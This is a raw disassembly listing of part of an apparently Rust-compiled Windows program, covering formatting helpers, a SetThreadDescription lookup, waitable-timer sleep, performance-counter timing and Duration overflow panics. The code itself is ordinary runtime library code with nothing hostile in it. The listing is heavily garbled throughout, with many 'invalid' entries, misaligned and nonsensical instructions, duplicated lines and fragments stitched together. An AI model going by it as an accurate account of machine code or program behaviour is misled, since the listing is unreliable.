add byte [rax - 0x75], cl
mov rsi, qword [rdi]
mov rsi, qword [rdi]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x77], cl
loopne 0x1400d575f
lea eax, [0x140148e48]
sub byte [rax - 0x77], cl
loopne 0x1400d575f
lea eax, [0x140148e48]
sub esi, dword [rdi]
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, [0x140148e46]
lea rcx, [rbp - 0x18]
invalid
sbb eax, 0x48000737
lea ecx, [rbp - 0x18]
invalid
call 0x1205ae47d
lea r9, [rbp - 0x20]
mov r8d, 2
call fcn.140014730
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400d5757
cmp eax, 1
jne 0x1400d5765
mov rax, qword [rsi + 0x18]
mov rcx, qword [rsi + 0x20]
dec rcx
jmp 0x1400d5767
lea rax, str.main
mov ecx, 4
add al, 0
add byte [rax], al
jmp 0x1400d5767
xor eax, eax
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [0x140148e70]
mov qword [rsp + 0x20], rax
lea rdx, str.name
lea rcx, [rbp - 0x18]
lea r9, [rbp - 0x30]
mov r8d, 4
call fcn.140014730
mov al, 1
cmp byte [rbp - 0x10], 0
je 0x1400d57a8
add rsp, 0x80
pop rdi
pop rsi
pop rbp
ret
mov rsi, qword [rbp - 0x18]
cmp byte [rbp - 0xf], 0
je 0x1400d57d2
test byte [rsi + 0x34], 4
jne 0x1400d57ec
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401141f8]
mov r8d, 6
call qword [rax + 0x18]
jmp 0x1400d579d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1401141f1]
mov r8d, 7
call qword [rax + 0x18]
jmp 0x1400d579d
mov byte [rbp - 1], 1
movups xmm0, xmmword [rsi + 0x20]
movaps xmmword [rbp - 0x50], xmm0
lea rax, [rbp - 1]
mov qword [rbp - 0x40], rax
lea rdx, [0x1401141fe]
lea rcx, [rbp - 0x50]
mov r8d, 3
call fcn.1400148e0
test al, al
je 0x1400d5821
mov al, 1
jmp 0x1400d579d
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
lea rdx, [0x140149c0b]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400d579d
lea eax, [0x14014baac]
mov r8d, 4
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rbp - 8], rsi
mov byte [rbp], al
mov qword [rbp - 0x10], 0
mov byte [rbp + 1], 0
lea r8, [0x140148a28]
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x18]
call fcn.140016790
mov rcx, qword [rbp - 0x10]
invalid
invalid
movzx edx, byte [rbp]
test rcx, rcx
je case.0x140091ebb.499
invalid
mov al, 1
test dl, dl
jne 0x1400d5926
mov rsi, qword [rbp - 8]
cmp rcx, 1
jne 0x1400d58e8
cmp byte [rbp + 1], 0
je 0x1400d58e8
test byte [rsi + 0x34], 4
jne 0x1400d58e8
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x1400d5926
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400d5926
jmp rax
mov eax, edx
rol byte [rax + rax*8 + 0x48c0950f], 1
add esp, 0x48
invalid
test al, al
setne al
add rsp, 0x48
invalid
pop rsi
pop rsi
pop rbp
ret
mov rax, qword [rcx]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
mov r8, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
mov rdx, rax
pop rbp
jmp fcn.140017290
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0x748ef
mov r8d, 8
call qword [rax + 0x18]
mov qword [rbp - 8], rsi
mov byte [rbp], al
mov qword [rbp - 0x10], 0
mov byte [rbp + 1], 0
lea r8, [0x14014a278]
lea rcx, [rbp - 0x10]
lea rdx, [rbp - 0x18]
call fcn.140016790
mov rcx, qword [rbp - 0x10]
movzx edx, byte [rbp]
test rcx, rcx
je 0x1400d5a14
mov al, 1
test dl, dl
jne 0x1400d5a16
mov rsi, qword [rbp - 8]
cmp rcx, 1
jne 0x1400d59fa
cmp byte [rbp + 1], 0
add dword [rax], eax
je 0x1400d59fa
test byte [rsi + 0x34], 4
jne 0x1400d59fa
add al, 0x75
and byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x6e4d7
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
leave
leave
jne 0x1400d5a16
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
adc eax, 0x77a4f
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x77a4f
mov r8d, 1
call qword [rax + 0x18]
jmp 0x1400d5a16
mov eax, edx
test al, al
setne al
add rsp, 0x48
pop rsi
pop rbp
ret
int3
int3
xchg byte [rax], bh
invalid
mov rax, r8
mul r10
shr rdx, 0xb
imul eax, edx, 0x2710
mov esi, r8d
sub esi, eax
imul edi, esi, 0x147b
jnp 0x1400d5abd
add byte [rax], al
shr edi, 0x13
imul eax, edi, 0x64
sub esi, eax
movzx esi, si
test byte [rcx - 0x73], 0x43
cld
test byte [rcx - 0x73], 0x43
cld
lea eax, [rbx - 4]
movzx edi, word [r9 + rdi*2]
mov word [rbp + r11 - 0x54], di
mov bh, 0x3c
jns 0x1400d5b26
mov dword [rbp + r11 - 0x54], edi
movzx esi, word [r9 + rsi*2]
mov word [rbp + r11 - 0x52], si
mov r11, rax
cmp r8, 0x5f5e0ff
mov r8, rdx
ja 0x1400d5a90
cmp rdx, 0x63
jbe 0x1400d5b13
movzx r8d, dx
shr r8d, 2
shr eax, 2
shr eax, 2
imul r8d, r8d, 0x147b
sar byte [rbx + 0x14], 0
add byte [rcx - 0x3f], al
shr r8d, 0x11
imul r10d, r8d, 0x64
sub edx, r10d
sub edx, edx
jnp 0x1400d5b06
add byte [rax], al
shr r8d, 0x11
imul r10d, r8d, 0x64
sub edx, r10d
sub edx, edx
sub edx, edx
movzx edx, dx
movzx edx, word [r9 + rdx*2]
adc al, 0x51
adc al, 0x51
push rcx
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
add eax, 0xc08348ae
dec byte [rcx + rcx*4 - 0x3e]
mov rdx, r8
mov rdx, r8
cmp rdx, 0xa
cmp edx, 0xa
jae 0x1400d5c18
cmp ebx, 0
add byte [rax], al
or dl, 0x30
mov byte [rbp + rax - 0x51], dl
dec rax
jmp 0x1400d5c26
cli
add byte [rax], al
invalid
enter 0xfffffffffffffae9, 0
add byte [rax], al
mov r9d, 0x81
cli
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], 0x894c0000
shl byte [rsi + 0x66], 0x2e
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov ecx, 0x81
mov rax, r8
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r9
shr rax, 4
shr eax, 4
shr eax, 4
call 0x10196a04e
mov r9d, r8d
mov ecx, eax
and r9b, 0xf
and cl, 0xf
loope 0x1400d5b5d
lea r10d, [r9 + 0x30]
lea r11d, [r9 + 0x57]
lea ebx, [rcx + 0x57]
push rcx
xor byte [rbp - 0x73], al
invalid
lea ebx, [rcx + 0x57]
pop rcx
push rdi
cmp r9b, 0xa
movzx r9d, r10b
stc
or al, byte [rbp + 0xf]
mov dh, 0xca
retf 0xf45
movzx r10d, r11b
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
mov byte [rbp + rcx - 0x52], dl
rol dword [rbp + 0xf], cl
rol dword [rax + r9*4 + 0x54], 1
invalid
push rsp
mov byte [rbp + rcx - 0x52], dl
push rsp
or eax, 0x498d4cae
dec dword [rcx - 0x7d]
invalid
invalid
lea r9, [rcx - 1]
dec qword [r9 - 0x7d]
cmp r8, 0x10
mov r8, rax
mov eax, eax
clc
adc byte [rcx - 0x77], cl
mov eax, eax
jae case.0x140096f06.802
invalid
mov eax, eax
jae case.0x140096f06.802
jmp case.0x1400a4d60.755
mov r9d, 0x81
mov rax, r8
nop word cs:[rax + rax]
add byte [rax], al
invalid
add dword [rax], 0x894c0000
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
add byte [rax], al
invalid
mov rcx, r9
shr rax, 4
mov r9d, r8d
and r9b, 0xf
lea r10d, [r9 + 0x30]
push rcx
invalid
lea r11d, [r9 + 0x37]
cmp r9b, 0xa
movzx r9d, r10b
mov dh, 0xca
retf 0xf45
mov dh, 0xd3
mov dh, 0xd3
cmovb r10d, r9d
mov byte [rbp + rcx - 0x52], r10b
push rsp
or eax, 0x498d4cae
dec qword [r9 - 0x7d]
clc
adc byte [rcx - 0x77], cl
mov eax, eax
jae 0x1400d5b90
push rsp
or eax, 0x498d4cae
dec qword [r9 - 0x7d]
dec qword [r9 - 0x7d]
clc
adc byte [rcx - 0x77], cl
mov eax, eax
jae 0x1400d5b90
add rcx, 0xfffffffffffffffe
add rcx, 0xfffffffffffffffe
sar esi, 0x48
cmp ecx, 0x81
dec byte [rax - 0x7f]
stc
add dword [rax], 0x830f0000
jae case.0x140095028.507
cmp rcx, 0x81
jae case.0x140095028.507
add dword [rax + rax - 0x7e480000], 0
mov eax, 0x81
add byte [rax], al
add byte [rax], al
add byte [rcx + rbp - 0x38], cl
sub rax, r9
enter 0x148, 0xffffffffffffffe9
add rcx, rbp
add rcx, 0xffffffffffffffb0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x1401721e0]
add eax, 0x9c5e7
add eax, 0x9c5e7
add byte [rcx - 0x47], al
add al, byte [rax]
add byte [rax], al
invalid
mov r9d, 2
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edx
mov dl, 1
jmp 0x1400d5c4c
mov rdx, r8
ret 0x8348
cli
invalid
ja 0x1400d5ae5
invalid
invalid
invalid
mov rcx, rdx
mov ecx, edx
mov dl, 1
jmp 0x1400d5c4c
ret 0x8348
invalid
invalid
jmp 0x1400d5b13
movzx edx, word [r9 + rdx*2]
adc al, 0x51
mov word [rbp + rax - 0x52], dx
add rax, 0xfffffffffffffffe
lea rdx, [rax + rbp]
add rdx, 0xffffffffffffffb0
mov r8d, 0x27
mov eax, 0x27
mov eax, 0x27
sub r8, rax
sub eax, eax
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], rdx
mov r8d, 1
add dword [rax], eax
add byte [rax], al
mov dl, 1
xor r9d, r9d
add dword [rbp + 0x31], eax
leave
call fcn.140013020
iretd
nop
add rsp, 0xb0
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140114220]
lea eax, [0x140114220]
in eax, 3
add byte [rdx + 0x80], bh
add byte [rax], al
invalid
mov edx, 0x80
add byte [rax], al
add byte [rax], al
add al, ch
push rdx
add eax, dword es:[rax]
add eax, dword [rax]
call fcn.1401082c0
add eax, dword [rax]
add ah, cl
int3
int3
mov rbp, rsp
cmp rcx, 0xffffffffffffffff
cmp ecx, 0xffffffff
in eax, 0x48
cmp ecx, 0xffffffff
je case.0x140092c4a.490
sbb ecx, dword [rcx - 0x77]
enter 0x48f0, 0xffffffffffffffff
lock dec qword [rcx + 8]
jne case.0x140092c4a.490
mov r8, rcx
lock dec qword [rcx + 8]
jne case.0x140092c4a.490
or byte [rbp + 0x11], dh
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or al, byte [rax]
xor edx, edx
rcr byte [rbp + 0x48], cl
jmp qword [sym.imp.kernel32.dll_HeapFree]
retf
mov byte [rbx], 0
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
retf
mov byte [rbx], 0
retf
nop
pop rbp
ret
int3
int3
int3
int3
mov rbp, rsp
cmp dword [rcx], 1
cmp dword [rcx], eax
cmp dword [rcx], eax
jne case.0x14009662c.488
mov r8, qword [rcx + 8]
mov eax, dword [rcx + 8]
cmp qword [rcx + 0x10], 0
mov byte [r8], 0
invalid
je case.0x14009662c.488
invalid
add byte [rcx + rdx + 0x48], dh
mov ecx, dword [0x140182260]
or al, byte [rax]
adc dword [rax - 0x75], ecx
or eax, 0xac5a1
or al, byte [rax]
mov rcx, qword [0x140182260]
or al, byte [rax]
xor edx, edx
pop rbp
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x3c697
xchg edi, eax
mov byte [rbx], 0
nop
pop rbp
ret
int3
push rsi
push rdi
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
in al, dx
and byte [rax - 0x73], cl
invalid
invalid
lea rbp, [rsp + 0x20]
insb byte [rdi], dx
and al, 0x20
mov rsi, rdx
mov rdi, rcx
mov edi, ecx
mov edi, ecx
iretd
lea rcx, [0x14014ac00]
invalid
invalid
add al, ch
or byte [rdi - 0x7ab7fffe], bh
add al, byte [rax]
add byte [rax - 0x7b], cl
call sub.kernel32.dll_GetModuleHandleA
add byte [rax - 0x7b], cl
test rax, rax
sal byte [rdi + rbx + 0x48], 0x8d
je 0x1400d5d12
lea rdx, str.SetThreadDescription
adc eax, 0x74f0f
invalid
mov rcx, rax
mov ecx, eax
shr eax, 0xfa
mov esi, 0x85480002
add al, byte [rax]
add byte [rax - 0x7b], cl
call sub.kernel32.dll_GetProcAddress
test rax, rax
test eax, eax
add byte [rax - 0x7b], cl
test eax, eax
ror byte [rbp + rcx*4 + 5], 0x24
add byte [rax], al
add byte [rax], al
cmovne r8, rax
jmp case.0x14009662c.475
invalid
lea r8, [0x1400d5d30]
add byte [rax], al
cmovne r8, rax
jmp case.0x14009662c.475
invalid
invalid
lea r8, [0x1400d5d30]
add eax, 0x17
invalid
mov qword [case.0x14009662c.486], r8
mov rcx, rdi
mov ecx, edi
ret
add byte [rax - 0x77], cl
stc
mov ecx, edi
mov rdx, rsi
add rsp, 0x20
invalid
invalid
add rsp, 0x20
invalid
and byte [rdi + 0x5e], bl
pop rdi
pop rsi
pop rbp
jmp r8
jmp rax
sub rsp, 0x20
lea rbp, [rsp + 0x20]
and al, 0x20
and byte [rcx + 0x78], bh
mov ecx, 0x78
add byte [rax], al
call qword [sym.imp.kernel32.dll_SetLastError]
add ebp, 3
add byte [rax - 0x7fffbfff], bh
mov eax, 0x80004001
mov eax, 0x80004001
add rsp, 0x20
pop rbp
ret
invalid
and byte [rbp - 0x3d], bl
push rbp
mov rbp, rsp
mov rax, rdx
mov eax, edx
mov rdx, qword [rcx]
mov r8, qword [rcx + 8]
or byte [rax - 0x77], cl
invalid
adc dword [rbx + rcx*4 + 0x41], ecx
or byte [rax - 0x77], cl
rcr dword [rbp - 0x17], 9
fcomi st(3)
dec esp
pop rbp
jmp fcn.140013870
invalid
invalid
dec esp
int3
int3
int3
int3
mov rbp, rsp
test dl, dl
invalid
je case.0x1400b3986.338
sal byte [rsp + rax - 0x3a], cl
mov byte [rcx + 0x10], 1
adc byte [r9], al
lock dec qword [rcx + 8]
dec qword [rcx + 8]
dec dword [rcx + 8]
or byte [rbp + 0xc], dh
jne 0x1400d5d8f
mov rcx, qword [rcx]
mov ecx, dword [rcx]
or dword [rax + 0x30418601], esi
mov al, 1
xchg byte [rcx + 0x30], al
xor byte [r15 + rdi*8], dil
cmp al, 0xff
push qword [rdx + rax + 0x5d]
je case.0x1400a4d60.438
pop rbp
ret
add rcx, 0x30
pop rbp
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
and eax, 0x3c29b
xor byte [rbp + 0x48], bl
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
and eax, 0x3c29b
and eax, 0x3c29b
int3
add ah, cl
int3
int3
push rsi
push rdi
push rbx
sub rsp, 0x38
in al, dx
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
in al, dx
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov rsi, rcx
xor ecx, ecx
xor edx, edx
mov r8d, 2
add byte [rax], al
mov r9d, 0x1f0003
mov ecx, 0x1f0003
add byte [rdi], bl
add bh, bh
adc eax, 0x3c692
xchg edx, eax
mov byte [rbx], 0
call qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
xchg edx, eax
mov byte [rbx], 0
add eax, dword [rax]
test rax, rax
je case.0x1400a91d6.382
mov rdi, rax
imul rax, rsi, 0xffffffffff676980
sub byte [rcx + 0x67], 0xff
invalid
sub byte [rcx + 0x67], 0xff
dec dword [rax - 0x77]
add r15b, r8b
invalid
and al, 0x28
mov qword [rbp], rax
mov dword [rsp + 0x28], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 0
and byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rdx, rbp
mov rcx, rdi
xor r8d, r8d
xor eax, eax
xor eax, eax
xor r9d, r9d
xor ecx, ecx
leave
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
mov byte [rbx], 0
add byte [rbp + 0x482074c0], al
test eax, eax
je case.0x1400a9339.390
sal byte [rax + riz + 0x48], 0x89
mov rcx, rdi
mov ecx, edi
stc
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
adc eax, 0x3c63a
adc eax, 0x3c63a
mov byte [rbx], 0
add byte [rcx - 0x676b73d], cl
mov ebx, eax
mov rcx, rdi
mov ecx, edi
stc
call qword [sym.imp.kernel32.dll_CloseHandle]
iretd
add eax, dword [rax]
add byte [rbx + 0x2475fffb], al
cmp ebx, 0xffffffff
jne 0x1400d5e42
invalid
and al, 0xeb
or dword [rax - 0x77], ecx
mov rcx, rdi
jmp case.0x1400a91d6.382
mov rcx, rdi
mov ecx, edi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov edi, 0x480003c3
imul eax, esi, 0x3e8
add eax, dword [rax]
invalid
add eax, dword [rax]
imul rax, rsi, 0x3e8
add eax, dword [rax]
add byte [rcx - 1], bh
invalid
invalid
invalid
invalid
add byte [rax], al
mov ecx, 0xffffffff
cmp rax, rcx
cmovb rcx, rax
cmovb ecx, eax
call qword [sym.imp.kernel32.dll_Sleep]
adc eax, 0x3c5fe
add byte [rax + 0x38c48348], dl
nop
add rsp, 0x38
add esp, 0x38
add esp, 0x38
invalid
cmp byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
lea ebp, [rsp + 0x60]
invalid
mov qword [rbp], 0xfffffffffffffffe
add r14b, r15b
add dh, bh
invalid
invalid
mov esi, r8d
mov esi, eax
invalid
mov rdi, rdx
mov edi, edx
mov r9, qword [0x140182278]
mov ecx, dword [0x140182278]
or eax, 0xac406
invalid
add byte [rbp - 0x7b], cl
test r9, r9
leave
jne case.0x1400b3986.355
mov rbx, rcx
mov qword [rbp - 8], 0
mov dword [rbp - 8], 0
retf
mov dword [rbp - 8], 0
clc
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp - 8]
clc
clc
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
test eax, eax
ror byte [rdi], 0x84
invalid
add dword [rax], eax
invalid
ret
ror byte [rdi], 0x84
mov ebx, 0x4c000001
add dword [rax], eax
invalid
invalid
add dword [rax], eax
add byte [rbx + rcx*4 + 0x4d], cl
mov ecx, dword [rbp - 8]
mov r9, qword [rbp - 8]
mov ecx, dword [rbp - 8]
mov qword [0x140182278], r9
mov dword [0x140182278], ecx
ret
or al, byte [rax]
test r9, r9
test ecx, ecx
leave
mov rcx, rbx
invalid
je case.0x1400c4199.317
add dword [rax], eax
add byte [rcx - 0x7f], cl
invalid
invalid
add byte [rax], al
cmp r9, 0x3b9aca00
cmp ecx, 0x3b9aca00
stc
add dl, cl
invalid
cmp esi, dword [rdi + 0xc]
ja 0x1400d5ec0
mov eax, 0x3b9aca00
add dl, cl
invalid
xor edx, edx
div r9d
int1
int1
jmp 0x1400d5ec2
xor eax, eax
ror byte [rbp + 0x65360090], 0xc4
lea edx, [rax - 0x3b9aca00]
add byte [rsi], dh
invalid
invalid
xor r8d, r8d
xor eax, eax
cmp r9, 2
setb r8b
xchg edx, eax
ror byte [rdi], 0x43
rol byte [rcx - 0x6535ff06], 1
cmp esi, dword [rdx + 0x1b]
invalid
stc
add al, byte [rcx + 0xf]
xchg edx, eax
ror byte [rdi], 0x43
rol byte [rcx - 0x6535ff06], 1
cmp esi, dword [rdx + 0x1b]
invalid
retf 0x3b9a
sbb ecx, dword [rcx + 0x9e8c1d0]
mov eax, edx
shr eax, 9
call 0x10076a6ef
or dword [rbx + 4], 0
add al, 0
imul rax, rax, 0x44b83
rol byte [rbx + 0x4800044b], 0xc1
add al, 0
add byte [rax - 0x3f], cl
shr rax, 0x27
call 0x1000ea818
invalid
add r8, rax
imul eax, eax, 0x3b9aca00
retf 0x3b9a
invalid
sub edx, eax
mov rax, qword [rcx]
mov eax, dword [rcx]
add dword [rbx + 0x39480849], ecx
mov ecx, dword [rcx + 8]
cmp rax, rdi
cmp eax, edi
or byte [r8 + 0x39], cl
cmp eax, edi
clc
jne 0x1400d5f06
add bh, byte [rcx]
cmp ecx, esi
int1
jae 0x1400d5fa3
add byte [rax], al
add byte [rax + 0x39], cl
cmp rax, rdi
add byte [rax], al
cmp rax, rdi
cmp eax, edi
ja case.0x1400c4199.304
xchg eax, esi
lock add byte [rax], al
add byte [rax], al
add byte [rcx - 0x77], cl
mov r9, rdi
stc
sub r9, rax
sub ecx, eax
cmp ecx, esi
jbe case.0x1400b984a.318
and dword [rbp - 0x7b], ecx
test r9, r9
leave
je case.0x1400c4199.304
fld qword [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 1], cl
dec ecx
dec r9
dec ecx
lea r10d, [rsi + 0x3b9aca00]
xchg esi, eax
add dl, cl
invalid
cmp eax, dword [rcx + 0x29]
sub r10d, ecx
retf 0x8141
cmp r10d, 0x3b9aca00
jae case.0x1400c3439.329
invalid
cli
add dl, cl
invalid
retf 0x3b9a
adc ebx, ebp
xor al, 0x41
invalid
jmp 0x1400d5f74
mov r10d, esi
mov edx, esi
sub r10d, ecx
cmp r10d, 0x3b9aca00
cmp edx, 0x3b9aca00
retf 0x8141
cmp edx, 0x3b9aca00
cli
add dl, cl
invalid
jb 0x1400d5f74
and eax, 0x41d38945
shr ebx, 9
jmp 0x1400d5f5f
mov r11d, r10d
mov ebx, edx
rol dword [rcx - 0x3f], cl
shr r11d, 9
jmp 0x1400d5f5f
or dword [rbp + 0x69], ecx
imul r11, r11, 0x44b83
fild dword [rbx + 0x4900044b]
or dword [rbx + 4], 0
add byte [rcx - 0x3f], cl
shr r11, 0x27
shr ebx, 0x27
jmp case.0x140096f06.618
invalid
add r9, r11
jb 0x1400d601d
invalid
add byte [rax], al
add byte [rbp + 0x69], al
imul r11d, r11d, 0x3b9aca00
imul ebx, ebx, 0x3b9aca00
fild dword [rax]
add dl, cl
retf 0x3b9a
invalid
sub r10d, r11d
sub edx, ebx
xor r11d, r11d
xor ebx, ebx
fisttp dword [rbp + 0x39]
cmp r9, r8
setne r11b
ret
mov r8d, 0xff
inc dword [rax]
add byte [rax], al
invalid
rol dword [rcx + 0xf], 0x95
ret
add byte [rax], al
add byte [rbp + 0xf], al
cmovb r11d, r8d
xor r9d, r9d
cmovb r11d, r8d
cmovb ebx, eax
xor r9d, r9d
xor ecx, ecx
cmp r10d, edx
cmp edx, edx
rol byte [rcx + 0xf], cl
setne r9b
xchg ebp, eax
rol dword [rbp + 0xf], 0x42
cmovb r9d, r8d
test r11b, r11b
invalid
enter 0xffffffffffff8445, 0xffffffffffffffdb
enter 0xffffffffffff8445, 0xffffffffffffffdb
fild dword [rbp + 0xf]
retf
retf
cmovne r9d, r11d
retf
cmp r9b, 1
add dword [rbp + 0x49], esi
jne 0x1400d5fec
mov edx, 0x3b9aca00
sub rax, rdi
sub eax, edi
retf 0x3b9a
sub eax, edi
jae 0x1400d5faf
add ch, bl
jmp case.0x1400b3986.382
cmp r9d, esi
cmp ecx, esi
jae case.0x1400b984a.321
invalid
test rax, rax
je case.0x1400b984a.310
sal byte [rbp + rsi*8 + 0x48], 0xff
enter 0xffffffffffffc181, 0
add dl, cl
invalid
invalid
dec rax
dec eax
add ecx, 0x3b9aca00
add dl, cl
invalid
cmp ecx, dword [rcx - 0x7e0dd636]
cli
add dl, cl
mov edx, ecx
sub edx, esi
retf 0xf229
cmp edx, 0x3b9aca00
jb case.0x1400b3986.382
invalid
cmp esi, dword [rdx + 0x23]
mov ecx, edx
shr ecx, 9
or dword [rax + 0x69], ecx
leave
or dword [rbx + 4], 0
or dword [rax + 0x69], ecx
leave
or dword [rbx + 4], 0
shr rcx, 0x27
add rax, rcx
jb 0x1400d601d
invalid
cmp ebp, dword [rcx - 0x37]
imul ecx, ecx, 0x3b9aca00
sub edx, ecx
retf 0x4eb
add dl, cl
invalid
retf 0x3b9a
retf 0x4eb
xor eax, eax
xor edx, edx
sal byte [rcx], 0xd2
add rsp, 0x68
add esp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.library_std_src_syspalwindows_time.rs
invalid
call fcn.1401084f0
jmp 0x1400d6027
lea rcx, str.overflow_when_subtracting_durations
popfq
invalid
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea eax, [0x14014aad0]
invalid
invalid
add byte [rdx + 0x23], bh
mov edx, 0x23
and eax, dword [rax]
add byte [rax], al
add byte [rax], al
add al, ch
invalid
call fcn.1401086b0
xchg ebx, eax
add eax, dword es:[rax]
add eax, dword [rax]
add eax, dword [rax]
lea rax, str.overflow_in_Duration::new
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x38], eax
mov dword [rbp - 0x38], eax
enter 0xffffffffffffc748, 0x45
enter 0xffffffffffffc748, 0x45
mov qword [rbp - 0x30], 1
rol byte [rcx], 1
add byte [rax], al
add byte [rax], al
invalid
invalid
fmul dword [r8]
add dword [rax], eax
add byte [rax], al
mov qword [rbp - 0x28], 8
add byte [rax], al
add byte [rdi], cl
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
adc dword [rbp - 0x20], eax
invalid
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
adc dword [rbp - 0x20], eax
adc dword [rbp - 0x20], eax
lea rdx, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76librarycore_src_time.rs_
lea edx, [0x1401487a8]
invalid
invalid
lea rcx, [rbp - 0x38]
enter 0x31e8, 0x22
add eax, dword [rax]
call fcn.140108280
and al, byte [rbx]
add bh, bh
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x3c3e3
jrcxz 0x1400d6016
add byte [rax - 0x3f], cl
loopne case.0x1400ca0d6.244
invalid
shl rax, 0x20
and byte [rax - 0x7d], cl
enter 0x4802, 0xffffffffffffff89
or rax, 2
mov qword [rbp - 0x38], rax
invalid
invalid
add cl, byte [rax - 0x77]
mov dword [rbp - 0x38], eax
enter 0xffffffffffff8d48, 5
lea rax, str.library_std_src_syspalwindows_time.rs
ror byte [rdx + 7], 0
invalid
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
or eax, 0x9bdd4
invalid
invalid
or dword [rax], eax
lea rcx, str.called__Result::unwrap____on_an__Err__value
mov ebp, 0x8d4c0009
lea r9, str.P6_r_
lea ecx, str.P6_r_
or eax, 0x727ed
invalid
invalid
lea r8, [rbp - 0x38]
lea eax, [rbp - 0x38]
enter 0x2bba, 0
mov edx, 0x2b
add byte [rax], al
add al, ch
invalid
add byte [rax], al
call fcn.140108600
ja 0x1400d60ac
add byte [rdi], cl
ud2
or ecx, dword [rdi]
invalid
add byte [rax], r8b
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
lea rcx, [rbp - 0x38]
call case.0x140019144.3166
invalid
call qword [rax + 0x28c48348]
enter 0xffffffffffffa6e8, 0xffffffffffffffd5
invalid
call qword [rax + 0x28c48348]
invalid
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
int3
int3
int3
int3
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x68
sub esp, 0x68
lea rbp, [rsp + 0x60]
lea ebp, [rsp + 0x60]
invalid
mov qword [rbp], 0xfffffffffffffffe
add dh, bh
invalid
invalid
dec dword [rax - 0x77]
invalid
mov rsi, rdx
mov rdi, qword [rcx]
mov edi, dword [rcx]
mov eax, edi
and eax, 3
loopne 0x1400d60e3
lea rcx, [0x140178434]
lea ecx, [0x140178434]
and r9, qword [r10]
add byte [rax + 0x63], cl
or al, byte [rax]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
add eax, ecx
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
jmp rax
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
lea rdx, str.Errorcode
adc eax, 0x9ca46
retf 9
mov r8d, 5
call qword [rax + 0x18]
mov qword [rbp - 0x20], rsi
jne 0x1400d60ec
mov byte [rbp - 0x18], al
